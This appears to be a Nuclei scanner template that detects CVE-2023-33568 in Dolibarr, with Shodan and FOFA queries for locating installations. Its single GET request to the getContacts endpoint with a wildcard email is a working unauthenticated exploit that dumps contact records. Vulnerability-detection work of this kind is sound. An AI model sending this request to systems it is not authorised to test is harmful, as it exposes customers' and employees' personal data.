id: CVE-2023-33568

info:
  name: Dolibarr Unauthenticated Contacts Database Theft
  author: DhiyaneshDK
  severity: high
  description: |
    An issue in Dolibarr 16 before 16.0.5 allows unauthenticated attackers to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists.
  impact: |
    The attacker can access and steal sensitive information from the contacts database, potentially leading to data breaches and privacy violations.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of Dolibarr to mitigate the vulnerability.
  reference:
    - https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33568
    - https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7
    - https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e
    - https://www.dolibarr.org/forum/t/dolibarr-16-0-security-breach/23471
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-33568
    cwe-id: CWE-552
    epss-score: 0.1494
    epss-percentile: 0.96276
    cpe: cpe:2.3:a:dolibarr:dolibarr_erp\/crm:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: dolibarr
    product: dolibarr_erp\/crm
    shodan-query: http.favicon.hash:440258421
    fofa-query: icon_hash=440258421
  tags: cve2023,cve,dolibarr,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/ticket/ajax/ajax.php?action=getContacts&email=%"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"database_name":'
          - '"database_user":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e058f3a316124a89dbab7a2d826b9dff78d6ca8112662057ee68645ae94c8282022100f9f34125c8d23602b843c5180d006910c2bdb2974016b4c443741f4d15f4c0fa:922c64590222798bb761d5b6d8e72950